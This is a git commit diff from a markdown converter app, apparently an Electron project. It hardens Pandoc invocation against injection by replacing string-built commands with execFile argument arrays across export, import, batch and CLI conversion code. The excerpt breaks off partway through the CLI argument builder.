mirror of
https://github.com/amitwh/markdown-converter.git
synced 2026-08-23 23:10:17 +05:30
fix(security): convert Pandoc invocation to execFile argument arrays (SEC-1)
This commit is contained in:
+158
-264
@@ -11,6 +11,7 @@ const VideoOperations = require('./main/VideoOperations');
|
||||
const { collectFilesByExtension } = require('./main/collectFilesByExtension');
|
||||
const { runPDFBatchOperation } = require('./main/PDFBatchOperations');
|
||||
const GitOperations = require('./main/GitOperations');
|
||||
const PandocArgs = require('./main/PandocArgs');
|
||||
const PdfFontHeader = require('./main/PdfFontHeader');
|
||||
const MonospaceFontConfig = require('./main/MonospaceFontConfig');
|
||||
const ExportCss = require('./main/ExportCss');
|
||||
@@ -229,19 +230,16 @@ function convertDataToMarkdown(content, format) {
|
||||
}
|
||||
|
||||
/**
|
||||
* Run a Pandoc command string safely using execFile
|
||||
* Parses the command string and uses execFile to prevent shell injection
|
||||
* @param {string} cmdString - Full Pandoc command string (e.g., 'pandoc "input.md" -o "output.pdf"')
|
||||
* Run Pandoc with an explicit argument array via execFile.
|
||||
* Args must be built with the PandocArgs helpers (or plain Array.push) — never
|
||||
* assembled into a command string, so user-controlled values always reach the
|
||||
* process as single literal argv elements (SEC-1).
|
||||
* @param {string[]} args - Argument array (without the pandoc executable)
|
||||
* @param {Function} callback - Callback function (error, stdout, stderr)
|
||||
*/
|
||||
function runPandocCmd(cmdString, callback) {
|
||||
const parsed = parseCommand(cmdString);
|
||||
// Skip the command element when it is pandoc (bare or a full path to the binary)
|
||||
const commandName = path.basename(parsed.command).replace(/\.exe$/i, '');
|
||||
const args = commandName === 'pandoc' ? parsed.args : [parsed.command, ...parsed.args];
|
||||
const pandocPath = getPandocPath();
|
||||
function runPandocArgs(args, callback) {
|
||||
execFile(
|
||||
pandocPath,
|
||||
getPandocPath(),
|
||||
args,
|
||||
{
|
||||
maxBuffer: 10 * 1024 * 1024,
|
||||
@@ -250,44 +248,6 @@ function runPandocCmd(cmdString, callback) {
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Parse a command string into command and arguments array
|
||||
* This helps transition from exec() to execFile() safely
|
||||
* @param {string} cmdString - Full command string
|
||||
* @returns {{command: string, args: string[]}}
|
||||
*/
|
||||
function parseCommand(cmdString) {
|
||||
// Handle quoted strings properly
|
||||
const parts = [];
|
||||
let current = '';
|
||||
let inQuotes = false;
|
||||
let quoteChar = '';
|
||||
for (let i = 0; i < cmdString.length; i++) {
|
||||
const char = cmdString[i];
|
||||
if ((char === '"' || char === "'") && !inQuotes) {
|
||||
inQuotes = true;
|
||||
quoteChar = char;
|
||||
} else if (char === quoteChar && inQuotes) {
|
||||
inQuotes = false;
|
||||
quoteChar = '';
|
||||
} else if (char === ' ' && !inQuotes) {
|
||||
if (current) {
|
||||
parts.push(current);
|
||||
current = '';
|
||||
}
|
||||
} else {
|
||||
current += char;
|
||||
}
|
||||
}
|
||||
if (current) {
|
||||
parts.push(current);
|
||||
}
|
||||
return {
|
||||
command: parts[0],
|
||||
args: parts.slice(1),
|
||||
};
|
||||
}
|
||||
|
||||
// Simple storage implementation to replace electron-store
|
||||
const settingsPath = path.join(app.getPath('userData'), 'settings.json');
|
||||
const store = {
|
||||
@@ -2845,49 +2805,22 @@ function performExportWithOptions(format, options) {
|
||||
inputFile = tempInputFile;
|
||||
}
|
||||
|
||||
let pandocCmd = `${getPandocPath()} "${inputFile}" -o "${outputFile}"`;
|
||||
|
||||
// Add template if specified
|
||||
if (options.template && options.template !== 'default') {
|
||||
pandocCmd += ` --template="${options.template}"`;
|
||||
}
|
||||
|
||||
// Add metadata
|
||||
if (options.metadata) {
|
||||
for (const [key, value] of Object.entries(options.metadata)) {
|
||||
if (value.trim()) {
|
||||
pandocCmd += ` -M ${key}="${value.replace(/"/g, '\\"')}"`;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add variables
|
||||
if (options.variables) {
|
||||
for (const [key, value] of Object.entries(options.variables)) {
|
||||
if (value.trim()) {
|
||||
pandocCmd += ` -V ${key}="${value.replace(/"/g, '\\"')}"`;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add other options
|
||||
if (options.toc) pandocCmd += ' --toc';
|
||||
if (options.tocDepth) pandocCmd += ` --toc-depth=${options.tocDepth}`;
|
||||
if (options.numberSections) pandocCmd += ' --number-sections';
|
||||
if (options.citeproc) pandocCmd += ' --citeproc';
|
||||
if (options.bibliography) pandocCmd += ` --bibliography="${options.bibliography}"`;
|
||||
if (options.csl) pandocCmd += ` --csl="${options.csl}"`;
|
||||
// Build the argument array once with the shared export options; format
|
||||
// branches below append their own flags. Every value lands in argv as a
|
||||
// single literal element — never inside a command string (SEC-1).
|
||||
const pandocArgs = PandocArgs.buildPandocArgs({ inputFile, outputFile, format, options });
|
||||
|
||||
// Add specific options for PDF export to ensure proper generation
|
||||
if (format === 'pdf') {
|
||||
const pdfEngine = options.pdfEngine || 'xelatex'; // Default to xelatex
|
||||
pandocCmd += ` --pdf-engine="${pdfEngine}"`;
|
||||
if (options.geometry) pandocCmd += ` -V geometry:"${options.geometry}"`;
|
||||
PandocArgs.appendPdfEngineOptions(pandocArgs, {
|
||||
pdfEngine: options.pdfEngine,
|
||||
geometry: options.geometry,
|
||||
});
|
||||
|
||||
// Embed bundled monospace font so ASCII columns align in the PDF.
|
||||
const monoHeader = buildMonospaceHeaderFile();
|
||||
pandocCmd += ` --include-in-header="${monoHeader}"`;
|
||||
pandocCmd += ' --highlight-style=tango';
|
||||
pandocArgs.push(`--include-in-header=${monoHeader}`);
|
||||
pandocArgs.push('--highlight-style=tango');
|
||||
|
||||
// Add header/footer if enabled
|
||||
if (headerFooterSettings.enabled) {
|
||||
@@ -2925,12 +2858,12 @@ function performExportWithOptions(format, options) {
|
||||
`;
|
||||
const headerFile = path.join(require('os').tmpdir(), `header_export_${Date.now()}.tex`);
|
||||
fs.writeFileSync(headerFile, latexHeader, 'utf-8');
|
||||
pandocCmd += ` --include-in-header="${headerFile}"`;
|
||||
pandocCmd += ' --variable header-includes="\\\\usepackage{lastpage}"';
|
||||
pandocArgs.push(`--include-in-header=${headerFile}`);
|
||||
pandocArgs.push('--variable', 'header-includes=\\\\usepackage{lastpage}');
|
||||
}
|
||||
|
||||
// Try with specified PDF engine (using runPandocCmd for safety)
|
||||
runPandocCmd(pandocCmd, (error) => {
|
||||
// Try with the specified PDF engine, then fall back if it fails
|
||||
runPandocArgs(pandocArgs, (error) => {
|
||||
if (error) {
|
||||
// Try fallback engines if the specified one fails
|
||||
const fallbackEngines = ['lualatex', 'pdflatex'];
|
||||
@@ -2940,8 +2873,7 @@ function performExportWithOptions(format, options) {
|
||||
}
|
||||
});
|
||||
} else if (format === 'docx') {
|
||||
pandocCmd += ' -t docx';
|
||||
exportWithPandoc(pandocCmd, outputFile, format, async () => {
|
||||
exportWithPandoc(pandocArgs, outputFile, format, async () => {
|
||||
// Embed the active monospace TTF into the DOCX so code blocks render in
|
||||
// JetBrains Mono / Fira Code regardless of the viewer's installed fonts.
|
||||
try {
|
||||
@@ -2984,18 +2916,24 @@ function performExportWithOptions(format, options) {
|
||||
author: '',
|
||||
};
|
||||
const footerText = processDynamicFields(headerFooterSettings.footer.center, metadata);
|
||||
pandocCmd += ` --variable footer="${footerText}"`;
|
||||
PandocArgs.appendFooterVariable(pandocArgs, footerText);
|
||||
}
|
||||
exportWithPandoc(pandocCmd, outputFile, format);
|
||||
exportWithPandoc(pandocArgs, outputFile, format);
|
||||
} else if (format === 'json') {
|
||||
pandocCmd = `${getPandocPath()} "${currentFile}" -t json -o "${outputFile}"`;
|
||||
exportWithPandoc(pandocCmd, outputFile, format);
|
||||
exportWithPandoc(
|
||||
PandocArgs.buildSimpleTargetArgs(currentFile, outputFile, format),
|
||||
outputFile,
|
||||
format
|
||||
);
|
||||
} else if (format === 'html') {
|
||||
// Build a complete HTML file with our bundled monospace font as embedded CSS.
|
||||
const cssFile = path.join(os.tmpdir(), `monospace-html-${Date.now()}-${process.pid}.css`);
|
||||
fs.writeFileSync(cssFile, buildMonospaceExportCss(), 'utf-8');
|
||||
pandocCmd = `${getPandocPath()} "${inputFile}" -s --css="${cssFile}" -o "${outputFile}"`;
|
||||
exportWithPandoc(pandocCmd, outputFile, format);
|
||||
exportWithPandoc(
|
||||
[inputFile, '-s', `--css=${cssFile}`, '-o', outputFile],
|
||||
outputFile,
|
||||
format
|
||||
);
|
||||
} else if (format === 'yaml' || format === 'xml' || format === 'toml') {
|
||||
// For YAML/XML/TOML, save the raw markdown content with the new extension
|
||||
try {
|
||||
@@ -3009,65 +2947,52 @@ function performExportWithOptions(format, options) {
|
||||
);
|
||||
}
|
||||
} else if (format === 'revealjs') {
|
||||
let revealCmd = `${getPandocPath()} "${currentFile}" -t revealjs -s -o "${outputFile}" --slide-level=2`;
|
||||
const revealArgs = [
|
||||
currentFile,
|
||||
'-t',
|
||||
'revealjs',
|
||||
'-s',
|
||||
'-o',
|
||||
outputFile,
|
||||
'--slide-level=2',
|
||||
];
|
||||
if (options) {
|
||||
if (options.revealTheme) revealCmd += ` -V theme="${options.revealTheme}"`;
|
||||
if (options.revealTransition) revealCmd += ` -V transition="${options.revealTransition}"`;
|
||||
if (options.revealTheme) revealArgs.push('-V', `theme=${options.revealTheme}`);
|
||||
if (options.revealTransition)
|
||||
revealArgs.push('-V', `transition=${options.revealTransition}`);
|
||||
if (options.revealTransitionSpeed)
|
||||
revealCmd += ` -V transitionSpeed="${options.revealTransitionSpeed}"`;
|
||||
revealArgs.push('-V', `transitionSpeed=${options.revealTransitionSpeed}`);
|
||||
if (options.revealControls !== undefined)
|
||||
revealCmd += ` -V controls="${options.revealControls}"`;
|
||||
revealArgs.push('-V', `controls=${options.revealControls}`);
|
||||
if (options.revealSlideNumber !== undefined)
|
||||
revealCmd += ` -V slideNumber="${options.revealSlideNumber}"`;
|
||||
revealArgs.push('-V', `slideNumber=${options.revealSlideNumber}`);
|
||||
if (options.revealProgress !== undefined)
|
||||
revealCmd += ` -V progress="${options.revealProgress}"`;
|
||||
revealArgs.push('-V', `progress=${options.revealProgress}`);
|
||||
if (options.revealHistory !== undefined)
|
||||
revealCmd += ` -V history="${options.revealHistory}"`;
|
||||
revealArgs.push('-V', `history=${options.revealHistory}`);
|
||||
if (options.revealCenter !== undefined)
|
||||
revealCmd += ` -V center="${options.revealCenter}"`;
|
||||
revealArgs.push('-V', `center=${options.revealCenter}`);
|
||||
|
||||
// Support for templates, metadata, bibliography
|
||||
if (options.template && options.template !== 'default') {
|
||||
revealCmd += ` --template="${options.template}"`;
|
||||
}
|
||||
if (options.metadata) {
|
||||
for (const [key, value] of Object.entries(options.metadata)) {
|
||||
if (value.trim()) {
|
||||
revealCmd += ` -M ${key}="${value.replace(/"/g, '\\"')}"`;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (options.bibliography) revealCmd += ` --bibliography="${options.bibliography}"`;
|
||||
if (options.csl) revealCmd += ` --csl="${options.csl}"`;
|
||||
// Support for templates, metadata, bibliography (only these dialog
|
||||
// options were applied to reveal.js exports before the args-array
|
||||
// conversion — keep that exact behavior)
|
||||
PandocArgs.appendCommonOptions(revealArgs, {
|
||||
template: options.template,
|
||||
metadata: options.metadata,
|
||||
bibliography: options.bibliography,
|
||||
csl: options.csl,
|
||||
});
|
||||
}
|
||||
exportWithPandoc(revealCmd, outputFile, format);
|
||||
} else if (format === 'beamer') {
|
||||
pandocCmd = `${getPandocPath()} "${currentFile}" -t beamer -o "${outputFile}"`;
|
||||
exportWithPandoc(pandocCmd, outputFile, format);
|
||||
} else if (format === 'confluence' || format === 'jira') {
|
||||
pandocCmd = `${getPandocPath()} "${currentFile}" -t jira -o "${outputFile}"`;
|
||||
exportWithPandoc(pandocCmd, outputFile, format);
|
||||
} else if (format === 'asciidoc') {
|
||||
pandocCmd = `${getPandocPath()} "${currentFile}" -t asciidoc -o "${outputFile}"`;
|
||||
exportWithPandoc(pandocCmd, outputFile, format);
|
||||
} else if (format === 'rst') {
|
||||
pandocCmd = `${getPandocPath()} "${currentFile}" -t rst -o "${outputFile}"`;
|
||||
exportWithPandoc(pandocCmd, outputFile, format);
|
||||
} else if (format === 'mediawiki') {
|
||||
pandocCmd = `${getPandocPath()} "${currentFile}" -t mediawiki -o "${outputFile}"`;
|
||||
exportWithPandoc(pandocCmd, outputFile, format);
|
||||
} else if (format === 'org') {
|
||||
pandocCmd = `${getPandocPath()} "${currentFile}" -t org -o "${outputFile}"`;
|
||||
exportWithPandoc(pandocCmd, outputFile, format);
|
||||
} else if (format === 'textile') {
|
||||
pandocCmd = `${getPandocPath()} "${currentFile}" -t textile -o "${outputFile}"`;
|
||||
exportWithPandoc(pandocCmd, outputFile, format);
|
||||
} else if (format === 'man') {
|
||||
pandocCmd = `${getPandocPath()} "${currentFile}" -t man -o "${outputFile}"`;
|
||||
exportWithPandoc(pandocCmd, outputFile, format);
|
||||
} else if (format === 'ipynb') {
|
||||
pandocCmd = `${getPandocPath()} "${currentFile}" -t ipynb -o "${outputFile}"`;
|
||||
exportWithPandoc(pandocCmd, outputFile, format);
|
||||
exportWithPandoc(revealArgs, outputFile, format);
|
||||
} else if (PandocArgs.SIMPLE_TARGET_FORMATS[format]) {
|
||||
// json, beamer, jira/confluence and the plain text/markup formats all
|
||||
// export through a bare `-t <target>` conversion (dialog options are
|
||||
// not applied to these formats).
|
||||
exportWithPandoc(
|
||||
PandocArgs.buildSimpleTargetArgs(currentFile, outputFile, format),
|
||||
outputFile,
|
||||
format
|
||||
);
|
||||
} else if (format === 'epub') {
|
||||
// Embed the active monospace TTF into EPUB so code blocks render in
|
||||
// JetBrains Mono / Fira Code regardless of the reader's installed fonts.
|
||||
@@ -3076,10 +3001,10 @@ function performExportWithOptions(format, options) {
|
||||
const regular = MonospaceFontConfig.getMonoFontTtfPath(familyKey, 400);
|
||||
const bold = MonospaceFontConfig.getMonoFontTtfPath(familyKey, 700);
|
||||
[regular, bold].filter(Boolean).forEach((p) => {
|
||||
pandocCmd += ` --epub-embed-font="${p}"`;
|
||||
pandocArgs.push(`--epub-embed-font=${p}`);
|
||||
});
|
||||
}
|
||||
runPandocCmd(pandocCmd, async (error) => {
|
||||
runPandocArgs(pandocArgs, async (error) => {
|
||||
if (error) {
|
||||
dialog.showErrorBox(
|
||||
'Export Error',
|
||||
@@ -3117,8 +3042,7 @@ function performExportWithOptions(format, options) {
|
||||
} else if (format === 'mobi') {
|
||||
// First export to EPUB, then try ebook-convert if available
|
||||
const epubFile = outputFile.replace(/\.mobi$/i, '.epub');
|
||||
pandocCmd = `${getPandocPath()} "${currentFile}" -o "${epubFile}"`;
|
||||
runPandocCmd(pandocCmd, (error) => {
|
||||
runPandocArgs([currentFile, '-o', epubFile], (error) => {
|
||||
if (error) {
|
||||
dialog.showErrorBox(
|
||||
'Export Error',
|
||||
@@ -3148,7 +3072,7 @@ function performExportWithOptions(format, options) {
|
||||
});
|
||||
} else {
|
||||
// Generic export for other formats
|
||||
exportWithPandoc(pandocCmd, outputFile, format);
|
||||
exportWithPandoc(pandocArgs, outputFile, format);
|
||||
}
|
||||
})
|
||||
.catch((error) => {
|
||||
@@ -3167,16 +3091,17 @@ function tryPdfFallback(inputFile, outputFile, engines, index, options, _lastErr
|
||||
return;
|
||||
}
|
||||
const engine = engines[index];
|
||||
let pandocCmd = `${getPandocPath()} "${inputFile}" --pdf-engine=${engine} -o "${outputFile}"`;
|
||||
const pandocArgs = [inputFile, `--pdf-engine=${engine}`, '-o', outputFile];
|
||||
|
||||
// Embed bundled monospace font so ASCII columns align in the PDF.
|
||||
const monoHeader = buildMonospaceHeaderFile();
|
||||
pandocCmd += ` --include-in-header="${monoHeader}"`;
|
||||
pandocCmd += ' --highlight-style=tango';
|
||||
pandocArgs.push(`--include-in-header=${monoHeader}`);
|
||||
pandocArgs.push('--highlight-style=tango');
|
||||
|
||||
// Add geometry if specified
|
||||
if (options.geometry)
|
||||
pandocCmd = pandocCmd.replace(` -o `, ` -V geometry:"${options.geometry}" -o `);
|
||||
// Add geometry if specified (the engine flag is already set above)
|
||||
if (options.geometry) {
|
||||
pandocArgs.push('-V', `geometry:${options.geometry}`);
|
||||
}
|
||||
|
||||
// Add header/footer if enabled
|
||||
if (headerFooterSettings.enabled) {
|
||||
@@ -3213,23 +3138,17 @@ function tryPdfFallback(inputFile, outputFile, engines, index, options, _lastErr
|
||||
`;
|
||||
const headerFile = path.join(require('os').tmpdir(), `header_fallback_${Date.now()}.tex`);
|
||||
fs.writeFileSync(headerFile, latexHeader, 'utf-8');
|
||||
pandocCmd += ` --include-in-header="${headerFile}"`;
|
||||
pandocArgs.push(`--include-in-header=${headerFile}`);
|
||||
}
|
||||
|
||||
// Add all other options
|
||||
if (options.template && options.template !== 'default') {
|
||||
pandocCmd += ` --template="${options.template}"`;
|
||||
}
|
||||
if (options.metadata) {
|
||||
for (const [key, value] of Object.entries(options.metadata)) {
|
||||
if (value.trim()) {
|
||||
pandocCmd += ` -M ${key}="${value.replace(/"/g, '\\"')}"`;
|
||||
}
|
||||
}
|
||||
}
|
||||
// Add all other options (this fallback path historically applied only the
|
||||
// template and metadata options — keep that exact behavior)
|
||||
PandocArgs.appendCommonOptions(pandocArgs, {
|
||||
template: options.template,
|
||||
metadata: options.metadata,
|
||||
});
|
||||
|
||||
// Use runPandocCmd for safety (prevents command injection)
|
||||
runPandocCmd(pandocCmd, (error) => {
|
||||
runPandocArgs(pandocArgs, (error) => {
|
||||
if (error) {
|
||||
tryPdfFallback(inputFile, outputFile, engines, index + 1, options, error);
|
||||
} else {
|
||||
@@ -3246,9 +3165,10 @@ function showExportSuccess(outputFile) {
|
||||
});
|
||||
}
|
||||
|
||||
// Helper function to export with pandoc (general) - uses runPandocCmd for safety
|
||||
function exportWithPandoc(pandocCmd, outputFile, format, onComplete) {
|
||||
runPandocCmd(pandocCmd, async (error, stdout, stderr) => {
|
||||
// Helper function to export with pandoc (general) - runs pandoc with an
|
||||
// argument array (values are passed to execFile as literal argv elements)
|
||||
function exportWithPandoc(pandocArgs, outputFile, format, onComplete) {
|
||||
runPandocArgs(pandocArgs, async (error, stdout, stderr) => {
|
||||
if (error) {
|
||||
console.error(`Pandoc error for ${format}:`, error);
|
||||
console.error(`Pandoc stderr:`, stderr);
|
||||
@@ -3264,7 +3184,7 @@ function exportWithPandoc(pandocCmd, outputFile, format, onComplete) {
|
||||
} else {
|
||||
errorMessage += `\n\nError details: ${error.message}`;
|
||||
}
|
||||
errorMessage += `\n\nCommand used: ${pandocCmd}`;
|
||||
errorMessage += `\n\nCommand used: pandoc ${pandocArgs.join(' ')}`;
|
||||
dialog.showErrorBox('Export Error', sanitizeErrorMessage(errorMessage));
|
||||
} else {
|
||||
if (stderr) {
|
||||
@@ -3647,21 +3567,21 @@ function importDocument() {
|
||||
const outputFile = inputFile.replace(/\.[^/.]+$/, '.md');
|
||||
|
||||
// Determine format-specific conversion options
|
||||
let additionalOptions = '';
|
||||
let additionalOptions = [];
|
||||
|
||||
// For PDFs, extract text properly
|
||||
if (ext === 'pdf') {
|
||||
additionalOptions = '--pdf-engine=xelatex';
|
||||
additionalOptions = ['--pdf-engine=xelatex'];
|
||||
}
|
||||
|
||||
// For CSV/TSV, convert as tables
|
||||
if (ext === 'csv' || ext === 'tsv') {
|
||||
additionalOptions = '--from=csv -t markdown';
|
||||
additionalOptions = ['--from=csv', '-t', 'markdown'];
|
||||
}
|
||||
|
||||
// For JSON, handle structure
|
||||
if (ext === 'json') {
|
||||
additionalOptions = '--from=json -t markdown';
|
||||
additionalOptions = ['--from=json', '-t', 'markdown'];
|
||||
}
|
||||
|
||||
// For YAML, XML, TOML - wrap content in code blocks directly
|
||||
@@ -3684,9 +3604,10 @@ function importDocument() {
|
||||
return;
|
||||
}
|
||||
|
||||
// Convert to markdown using pandoc (using runPandocCmd for safety)
|
||||
const pandocCmd = `${getPandocPath()} "${inputFile}" -t markdown ${additionalOptions} -o "${outputFile}"`;
|
||||
runPandocCmd(pandocCmd, (error, _stdout, _stderr) => {
|
||||
// Convert to markdown using pandoc with an argument array (input and
|
||||
// output paths are passed as single literal argv elements)
|
||||
const pandocArgs = [inputFile, '-t', 'markdown', ...additionalOptions, '-o', outputFile];
|
||||
runPandocArgs(pandocArgs, (error, _stdout, _stderr) => {
|
||||
if (error) {
|
||||
dialog.showErrorBox(
|
||||
'Import Error',
|
||||
@@ -4181,48 +4102,25 @@ async function performBatchConversion(
|
||||
}
|
||||
}
|
||||
|
||||
let pandocCmd = `${getPandocPath()} "${pandocInputFile}" -o "${outputFile}"`;
|
||||
|
||||
// Add template if specified
|
||||
if (options.template && options.template !== 'default') {
|
||||
pandocCmd += ` --template="${options.template}"`;
|
||||
}
|
||||
|
||||
// Add metadata
|
||||
if (options.metadata) {
|
||||
for (const [key, value] of Object.entries(options.metadata)) {
|
||||
if (value.trim()) {
|
||||
pandocCmd += ` -M ${key}="${value.replace(/"/g, '\\"')}"`;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add variables
|
||||
if (options.variables) {
|
||||
for (const [key, value] of Object.entries(options.variables)) {
|
||||
if (value.trim()) {
|
||||
pandocCmd += ` -V ${key}="${value.replace(/"/g, '\\"')}"`;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add other options
|
||||
if (options.toc) pandocCmd += ' --toc';
|
||||
if (options.tocDepth) pandocCmd += ` --toc-depth=${options.tocDepth}`;
|
||||
if (options.numberSections) pandocCmd += ' --number-sections';
|
||||
if (options.citeproc) pandocCmd += ' --citeproc';
|
||||
if (options.bibliography) pandocCmd += ` --bibliography="${options.bibliography}"`;
|
||||
if (options.csl) pandocCmd += ` --csl="${options.csl}"`;
|
||||
// Build the argument array with the shared export options (values are
|
||||
// passed to execFile as single literal argv elements — SEC-1)
|
||||
const pandocArgs = PandocArgs.buildPandocArgs({
|
||||
inputFile: pandocInputFile,
|
||||
outputFile,
|
||||
format,
|
||||
options,
|
||||
});
|
||||
|
||||
// Add PDF-specific options with header/footer support
|
||||
if (format === 'pdf') {
|
||||
const pdfEngine = options.pdfEngine || 'xelatex';
|
||||
pandocCmd += ` --pdf-engine=${pdfEngine}`;
|
||||
if (options.geometry) pandocCmd += ` -V geometry:"${options.geometry}"`;
|
||||
PandocArgs.appendPdfEngineOptions(pandocArgs, {
|
||||
pdfEngine: options.pdfEngine,
|
||||
geometry: options.geometry,
|
||||
});
|
||||
|
||||
// Add monospace font settings for code blocks (ASCII art preservation)
|
||||
pandocCmd += ' -V monofont="Consolas"';
|
||||
pandocCmd += ' --highlight-style=tango';
|
||||
pandocArgs.push('-V', 'monofont=Consolas');
|
||||
pandocArgs.push('--highlight-style=tango');
|
||||
|
||||
// Add header/footer if enabled
|
||||
if (headerFooterSettings.enabled) {
|
||||
@@ -4258,16 +4156,11 @@ async function performBatchConversion(
|
||||
`;
|
||||
const headerFile = path.join(require('os').tmpdir(), `header_batch_${Date.now()}.tex`);
|
||||
fs.writeFileSync(headerFile, latexHeader, 'utf-8');
|
||||
pandocCmd += ` --include-in-header="${headerFile}"`;
|
||||
pandocCmd += ' --variable header-includes="\\\\usepackage{lastpage}"';
|
||||
pandocArgs.push(`--include-in-header=${headerFile}`);
|
||||
pandocArgs.push('--variable', 'header-includes=\\\\usepackage{lastpage}');
|
||||
}
|
||||
}
|
||||
|
||||
// Add DOCX-specific handling
|
||||
if (format === 'docx') {
|
||||
pandocCmd += ' -t docx';
|
||||
}
|
||||
|
||||
// Add PowerPoint footer if enabled
|
||||
if (format === 'pptx' && headerFooterSettings.enabled && headerFooterSettings.footer.center) {
|
||||
const filename = path.basename(inputFile, path.extname(inputFile));
|
||||
@@ -4277,11 +4170,11 @@ async function performBatchConversion(
|
||||
author: '',
|
||||
};
|
||||
const footerText = processDynamicFields(headerFooterSettings.footer.center, metadata);
|
||||
pandocCmd += ` --variable footer="${footerText}"`;
|
||||
PandocArgs.appendFooterVariable(pandocArgs, footerText);
|
||||
}
|
||||
|
||||
// Execute conversion (using runPandocCmd for safety)
|
||||
runPandocCmd(pandocCmd, async (error, _stdout, stderr) => {
|
||||
// Execute conversion with the argument array
|
||||
runPandocArgs(pandocArgs, async (error, _stdout, stderr) => {
|
||||
// Clean up temporary pre-processed input file and directory
|
||||
if (batchTempInputFile) {
|
||||
try {
|
||||
@@ -4438,9 +4331,9 @@ function performCLIConversion(inputPath, format) {
|
||||
try {
|
||||
const content = fs.readFileSync(inputPath, 'utf-8');
|
||||
const outputPath = inputPath.replace(/\.[^/.]+$/, `.${format}`);
|
||||
// Use existing export functions but with CLI output (using runPandocCmd for safety)
|
||||
const pandocCommand = buildPandocCommand(content, format, outputPath);
|
||||
runPandocCmd(pandocCommand, (error, stdout, stderr) => {
|
||||
// Convert with an argument array (input/output paths are single argv elements)
|
||||
const pandocArgs = buildCLIConversionArgs(content, format, outputPath);
|
||||
runPandocArgs(pandocArgs, (error, stdout, stderr) => {
|
||||
if (error) {
|
||||
console.error(`Conversion failed: ${error.message}`);
|
||||
if (stderr) console.error(`Details: ${stderr}`);
|
||||
@@ -4467,11 +4360,12 @@ function performCLIConversion(inputPath, format) {
|
||||
}
|
||||
}
|
||||
|
||||
// Build Pandoc command for CLI conversion
|
||||
function buildPandocCommand(content, format, outputPath) {
|
||||
// Build pandoc argument array for CLI conversion (temp input file plus
|
||||
// format-specific flags; every value is a single literal argv element)
|
||||
function buildCLIConversionArgs(content, format, outputPath) {
|
||||
const inputFile = path.join(require('os').tmpdir(), `panconverter_temp_${Date.now()}.md`);
|
||||
fs.writeFileSync(inputFile, content, 'utf-8');
|
||||
let command = `pandoc "${inputFile}" -o "${outputPath}"`;
|
||||
let args = [inputFile, '-o', outputPath];
|
||||
|
||||
// Get metadata for dynamic fields
|
||||
const filename = currentFile ? path.basename(currentFile, path.extname(currentFile)) : 'document';
|
||||
@@ -4482,26 +4376,26 @@ function buildPandocCommand(content, format, outputPath) {
|
||||
};
|
||||
switch (format) {
|
||||
case 'pdf':
|
||||
command += ' --pdf-engine=xelatex --variable geometry:margin=1in';
|
||||
args.push('--pdf-engine=xelatex', '-V', 'geometry:margin=1in');
|
||||
|
||||
// Add page size and orientation
|
||||
const pageSize = PAGE_SIZES[pageSettings.size];
|
||||
if (pageSize) {
|
||||
command += ` -V geometry:papersize=${pageSize.pandoc}`;
|
||||
args.push('-V', `geometry:papersize=${pageSize.pandoc}`);
|
||||
} else if (pageSettings.customWidth && pageSettings.customHeight) {
|
||||
// Custom page size
|
||||
command += ` -V geometry:paperwidth=${pageSettings.customWidth}`;
|
||||
command += ` -V geometry:paperheight=${pageSettings.customHeight}`;
|
||||
args.push('-V', `geometry:paperwidth=${pageSettings.customWidth}`);
|
||||
args.push('-V', `geometry:paperheight=${pageSettings.customHeight}`);
|
||||
}
|
||||
|
||||
// Add orientation
|
||||
if (pageSettings.orientation === 'landscape') {
|
||||
command += ' -V geometry:landscape';
|
||||
args.push('-V', 'geometry:landscape');
|
||||
}
|
||||
|
||||
// Add monospace font settings for code blocks (ASCII art preservation)
|
||||
command += ' -V monofont="Consolas"';
|
||||
command += ' --highlight-style=tango';
|
||||
args.push('-V', 'monofont=Consolas');
|
||||
args.push('--highlight-style=tango');
|
||||
|
||||
// Add header/footer if enabled
|
||||
if (headerFooterSettings.enabled) {
|
||||
@@ -4514,12 +4408,12 @@ function buildPandocCommand(content, format, outputPath) {
|
||||
const footerRight = processDynamicFields(headerFooterSettings.footer.right, metadata);
|
||||
|
||||
// Add Pandoc variables for fancyhdr package
|
||||
if (headerLeft) command += ` --variable header-left="${headerLeft}"`;
|
||||
if (headerCenter) command += ` --variable header-center="${headerCenter}"`;
|
||||
if (headerRight) command += ` --variable header-right="${headerRight}"`;
|
||||
if (footerLeft) command += ` --variable footer-left="${footerLeft}"`;
|
||||
if (footerCenter) command += ` --variable footer-center="${footerCenter}"`;
|
||||
if (footerRight) command += ` --variable footer-right="${footerRight}"`;
|
||||
if (headerLeft) args.push('--variable', `header-left=${headerLeft}`);
|
||||
if (headerCenter) args.push('--variable', `header-center=${headerCenter}`);
|
||||
if (headerRight) args.push('--variable', `header-right=${headerRight}`);
|
||||
if (footerLeft) args.push('--variable', `footer-left=${footerLeft}`);
|
||||
if (footerCenter) args.push('--variable', `footer-center=${footerCenter}`);
|
||||
if (footerRight) args.push('--variable', `footer-right=${footerRight}`);
|
||||
|
||||
// Create custom LaTeX header with fancyhdr
|
||||
const latexHeader = `
|
||||
@@ -4540,17 +4434,17 @@ function buildPandocCommand(content, format, outputPath) {
|
||||
`;
|
||||
const headerFile = path.join(require('os').tmpdir(), `header_${Date.now()}.tex`);
|
||||
fs.writeFileSync(headerFile, latexHeader, 'utf-8');
|
||||
command += ` --include-in-header="${headerFile}"`;
|
||||
args.push(`--include-in-header=${headerFile}`);
|
||||
|
||||
// Add lastpage package for $TOTAL$ support
|
||||
command += ' --variable header-includes="\\\\usepackage{lastpage}"';
|
||||
args.push('--variable', 'header-includes=\\\\usepackage{lastpage}');
|
||||
}
|
||||
break;
|
||||
case 'html':
|
||||
command += ' --self-contained --css';
|
||||
args.push('--self-contained', '--css');
|
||||
break;
|
||||
case 'docx':
|
||||
command += ' --reference-doc';
|
||||
args.push('--reference-doc');
|
||||
|
||||
// For DOCX, header/footer are handled via reference document or separate processing
|
||||
// We'll add a note that DOCX headers/footers require reference doc or post-processing
|
||||
@@ -4559,41 +4453,41 @@ function buildPandocCommand(content, format, outputPath) {
|
||||
// ODT headers/footers are handled via reference document
|
||||
break;
|
||||
case 'latex':
|
||||
command += ' --standalone';
|
||||
args.push('--standalone');
|
||||
break;
|
||||
case 'pptx':
|
||||
command += ' --slide-level=2';
|
||||
args.push('--slide-level=2');
